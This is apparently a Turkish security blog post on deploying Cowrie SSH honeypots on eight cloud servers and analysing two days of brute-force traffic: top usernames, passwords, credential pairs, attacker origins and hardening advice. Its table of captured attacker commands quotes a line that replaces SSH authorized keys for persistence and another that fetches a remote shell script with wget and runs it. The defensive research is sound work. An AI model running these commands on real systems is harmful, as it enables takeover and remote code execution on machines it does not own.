12 Nisan 2021 Pazartesi

Cowrie Honeypot Kullanarak SSH Sunucularına Gelen Saldırı Trendi Analizi

Günümüzde otomatikleştirilmiş araçlar ile birlikte internete açık (public) sunuculara yapılan parola deneme saldırıları çok fazla artmıştır. Bu yazıda saldırganların el ile (manuel) ve otomatik araçlar ile yaptığı saldırılarda denedikleri kullanıcı adı, parola ve saldırının hangi ülkeden geldiği gibi bilgileri cowrie honeypot kurarak analiz ettik.

Analiz işlemini gerçekleştirirken DigitalOcean üzerinden kiraladığım 8 farklı lokasyondaki (New York, Amsterdam, San Francisco, Singapur, Londra, Frankfurt, Toronto, Bangalore) virtual private server (VPS)'lerin üzerine honeypot kurma işlemini gerçekleştirdik. DigitalOcean üzerindeki sunucuları 2 gün boyunca açık bıraktık ve gelen verileri analiz ederek otomatize araçların ve saldırganların davranışlarını inceledik.

Bu yazıda öncelikle honeypot Nedir? Nasıl Çalışır? ve cowrie honeypot nasıl kurulur? bunu anlatacağım. Daha sonra kurduğum canlı sistem üzerinde analiz ettiğim verileri paylaşarak saldırgan hareketlerine değineceğim. 

Honeypot Nedir ?

Honeypot (Bal Küpü) sistemlere yetkisiz erişim sağlamaya çalışan saldırganlar için bilerek açık bırakılmış, saldırganlar hakkında davranışsal bilgi toplamaya yarayan uygulamalardır. Cowrie honeypot ise SSH ve Telnet uygulamaları için hazırlanan bir simülasyondur. Düzgün bir şekilde kulumu yapıldığında SSH ve Telnet portları açıkmış gibi davranır.Saldırganlar bu portlar üzerinde giriş denemesi yaptığı zaman başarılı giriş yapmış gibi sahte bir SSH yada Telnet bağlantısı sağlar. Daha sonra sunucuya bağlandığını sanan saldırganın burada yaptığı tüm işlemleri kaydeder.


Cowrie Honeypot Kurulumu

Cowrie honeypot açık kaynak olarak Github üzerinde paylaşılmaktadır. Cowrie honeypot hem FTP hem de SSH üzerinde çalışabilir fakat bu yazıda yalnızca SSH üzerinde Cowrie honeypotu etkinleştireceğiz. Github üzerinde bulunan kendi kurulum dokümanı üzerinden kurulumu gerçekleştireceğiz.

Kuruluma geçmeden önce varsayılan olarak 22 portunda çalışan SSH sunucusunun portunu değiştirerek başka bir porta aktaralım. Bu sayede 22 portuna gelen trafiği honeypot portu(2222) üzerine yönlendirirken gerçek SSH portu ile bir çakışma yaşamayız.

Bunun için nano /etc/ssh/sshd_config komutu ile SSH ayar (config) dosyasını açalım ve port 22 yazan kısmın başındaki # işaretini kaldırdıktan sonra port 4545 yazarak SSH portumuzu değiştirelim. Daha sonra;

$ systemctl restart ssh

$ systemctl status ssh

Komutlarını çalıştırarak SSH servisini yeniden başlatalım. SSH durumunu görüntüleyerek portun değişip değişmediğini kontrol edelim. SSH portunuzu değiştirdikten sonra SSH sunucusunu yeniden başlatma işlemi gerçekleştirmezseniz sunucuya SSH bağlantısı sağlayamazsınız. Böyle bir durumda makineyi kapat aç yapmanız SSH portunun değişmesi için yeterli olacaktır.

Daha sonra aşağıdaki komut ile sunucu için gerekli bağımlılıkları yükleyelim;

$ sudo apt-get install git python-virtualenv libssl-dev libffi-dev build-essential libpython3-dev python3-minimal authbind virtualenv

Yükleme işlemi tamamlandıktan sonra cowrie isimli bir kullanıcı oluşturalım.

$ sudo adduser --disabled-password cowrie

Kullanıcıyı oluştururken dokümanın önerisi ile parola ile erişimi olmayan bir kullanıcı oluşturduk. Ardından kullanıcının dizinine giderek git ile dosyaları indiriyoruz.

$ git clone http://github.com/cowrie/cowrie

Ardından dizine giderek bu dizinde bir sanal ortam oluşturma işlemi gerçekleştiriyoruz.

$ virtualenv --python=python3 cowrie-env

Şimdi honeypot için gerekli bağımlılıkları yüklememiz gerekmektedir. Bunun için oluşturduğumuz sanal ortama geçiş yapıyoruz ve bağımlılıkları pip ile indiriyoruz.

$ source cowrie-env/bin/activate

$ (cowrie-env) $ pip install --upgrade pip
$ (cowrie-env) $ pip install --upgrade -r requirements.txt

Tüm kurulum işlemleri tamamlandıktan sonra cowrie 2222 portunda çalışmaya başlayacaktır. Şimdi 22 portuna gelen trafiği 2222 portuna yönlendirme işlemini gerçekleştireceğiz. Bu sayede varsayılan olarak gelen SSH portuna yapılan istekler honeypotun oluşturduğu sahte SSH sunucusuna yönlendirilecektir.

$ sudo iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222

Yukarıdaki komut ile 22 portuna gelen istekleri 2222 portuna gönderme işlemini tamamladık. Aşağıdaki komutu kullanarak honeypotu çalıştırma işlemini gerçekleştirebiliriz.

$ bin/cowrie start

Cowrie Honeypot Log Dosyasının İncelenmesi

Cowrie Honeypot kendine gelen tüm bağlantı isteklerini ve bağlantıdan sonraki hareketleri var/log/cowrie dizini altında tutmaktadır. Log dosyasının daha okunaklı olması için bash script ve python programla dili ile log dosyası çıktılarını biraz daha düzenleme işlemi gerçekleştirildik. Bu çıktılar üzerinden IP adresi, denenen kullanıcı adı parolalar, saldırganların SSH ile sisteme bağlandıklarında ilk çalıştırdıkları komutlar ve saldırıların saat aralıkları gibi verileri elde etmiş olduk.

Ayrıca gelen saldırıların daha çok hangi ülke ve hangi kıtadan geldiğini tespit etmek içinde bir API aracılığıyla IP adresi üzerinden coğrafi lokasyon tespiti gerçekleştirmiş olduk. Saldırılar çoğunlukla botlar ile kiralanmış sunucular üzerinden yapıldığı için ip adresi üzerinden tespit edilen coğrafi lokasyonlar saldırı yapan ülkeleri tam olarak ayırt etmemizi sağlamayabilir. Ancak botların en fazla hangi ülke sunucularından kiralandığı gibi bilgiler de bu sayede analiz edilebilir.

Elde Edilen Verilerin Analizi

Verilerin analiz edilme işlemi gerçekleştirilirken denenen kullanıcı adları, parola, komutlar ve coğrafi lokasyonlar göz önüne alınmıştır. Coğrafi lokasyonları bulmak için IP-API’nin sağladığı API aracılığıyla coğrafi lokasyon tespiti gerçekleştirilmiştir. Yapılan isteklerin hızı göz önüne alındığında saldırıların çok büyük bir kısmını otomatize araçların gerçekleştirildiği görülmüştür. Bu yazıda her sunucuya yapılan giriş (login) isteğini ayrı ayrı paylaşmasam da sunucuların bulunduğu lokasyona göre denenen kullanıcı adları ve parolalar farklılık göstermektedir. Özellikle Singapur sunucusunda root/admin kombinasyonunun diğer sunuculara oranla çok daha fazla denendiği tespit edilmiştir.

Yapılan Giriş İstekleri


Toplam Giriş Denemesi Başarılı Denemeler Başarısız Denemeler
Amsterdam 33268 29644 3624
Bangladore 31580 26012 5568
San Francisco 16980 7298 9682
Frankfurt 44596 35713 8883
London 18161 12816 5345
Newyork 14933 6590 8343
Singapore 32286 30803 1483
Toronto 37781 31463 6318

İnternete erişimine açık ortam üzerinde oluşturulan 8 adet sunucuyu 2 gün boyuncu açık bırakmamız sonucunda elimize toplamda 229.585 adet giriş isteği 180.339 adet başarılı giriş isteği 49.246 adet başarısız giriş isteği 2237 adet farklı ip adresinden deneme isteği gelmiştir. Sunuculara yapılan başarılı ve başarısız deneme istekleri aşağıda verilmiştir.

Denenen Kullanıcı Adları

Kullanıcı Adı Adet
root 180477
nproc 10041
admin 1477
ubuntu 1071
test 1030
user 897
postgres 780
oracle 623
git 509
ftpuser 392

Yukarıda en fazla giriş denemesi yapılan 10 kullanıcı adı verilmiştir. root kullanıcı adı yüksek farkla en fazla denenen kullanıcı olmasına rağmen nproc kullanıcı adı da çok fazla makinede denenmiştir.

Denenen Parolalar


Parola Adet
123 134620
admin 36493
nproc 10041
123456 2794
1234 772
password 751
1 586
12345 496
test 414
root 318

Yukarıda en fazla giriş denemesi yapılan 10 parola verilmiştir. Denenen parolalar karmaşık olmayan kolay parolalar olmuştur. Bu parolaların da otomatize araçların en fazla başarılı giriş yaptığı parolalardan seçildiğini düşünürsek. Hala bu kadar basit parolaların kullanılıyor olması şaşırtıcı gelmektedir.

Denenen Kullanıcı Adı ve Parola Kombinasyonları

Kullanıcı Adı Parola Adet
root 123 133318
root admin 36213
nproc nproc 10041
root root 115
root 1234 97
admin admin 81
user user 78
support support 67
pi raspberry 48
pi raspberryraspberry993311 46

Yukarıda en fazla giriş denemesi yapılan 10 kullanıcı adı ve parola kombinasyonu verilmiştir. Bu denemelerde root kullanıcısı üzerinde denenen birçok parola en fazla denemeyi elinde tutmaktadır. Daha sonra nproc-nproc kombinasyonu denenmesine rağmen user, support ve pi kullanıcıları için çok yüksek olmasa da ilk 10 denemede yer almaktadır.

Sistemde Çalıştırılan Komutlar

Komut Adet
cat /proc/cpuinfo | grep name | wc -l 10245
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' 10212
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' 10202
which ls 10196
crontab -l 10193
uname -m 10180
uname -a 10177
lscpu | grep Model 10157
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh_key">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ 10089
wget https://`IP_ADDR`/`name.sh`&&chmod 755 name.sh&&bash name.sh&&uname -a 167

Sunucular üzerinde toplam 153683 komut çalıştırılmıştır yukarıda en fazla çalıştırılan ilk 10 komut verilmiştir. Neredeyse tüm komutlar birbirine yakın miktarlarda çalıştırılmıştır. Süreler göz önüne alındığında otomatize araçların ilk çalıştırdığı komut /proc/cpuinfo ya göz atmak olurken ardından uname komutu kullanılmıştır. 167 adet bash dosyası indirme ve çalıştırma komutu verilmiştir. Bu 167 komut yalnızca 3 ip adresinden gerçekleştirilmiştir.

Ülkelere Göre Saldırı Dağılımı




Kıtalara Göre Saldırı Dağılımı




Saldırıların geldiği coğrafi lokasyonlar incelendiğinde Çin yüksek bir farkla en fazla giriş denemesi yapan ülke olmuş daha sonra Amerika ve Singapur gelmektedir. Kıtalarda ise Asya kıtası Çin’den gelen saldırılar sayesinde 1300 den fazla farklı IP adresinden saldırı almıştır.

Sonuç

Yapılan saldırılar incelendiğinde anlaşılacağı gibi 2 gün içinde 229.000 den fazla giriş isteği yapılmıştır. Bunların büyük bir çoğunluğunda root kullanıcısı ile giriş yapılmaya çalışılmıştır. Root kullanıcısının parola ile giriş yapmasını engelleyerek bu saldırılardan etkilenme ihtimalinin önüne geçmiş oluruz. Ayrıca varsayılan olarak gelen nproc,user,pi gibi kullanıcıların parolalarını varsayılan olarak bırakmamak ve parolalarını oluştururken özel karakter koymaya dikkat etmek gerekmektedir.

Makalede en fazla kullanılan 10 adet denemeleri istatistiklerini paylaşmıştım. Ancak gelen tüm giriş denemelerini incelediğimde gerçek ortamlarda karşılaştığım birkaç parolaya rastladım. Örneğin“deger2021!”

gibi bir çok kombinasyonda denemeler bulunmaktadır.

Diğer bir analiz ise botların kullandığı sözlüklerde artık baş harfi büyük ve sonuna 1 adet özel karakter eklendiği görülmektedir. Bu bilgi doğrultusunda Admin1! gibi parola kullanılması yerine daha uzun ve karmaşık parolalar kullanılmasının daha güvenli olacağı gözükmektedir.




Hiç yorum yok:

Yorum Gönder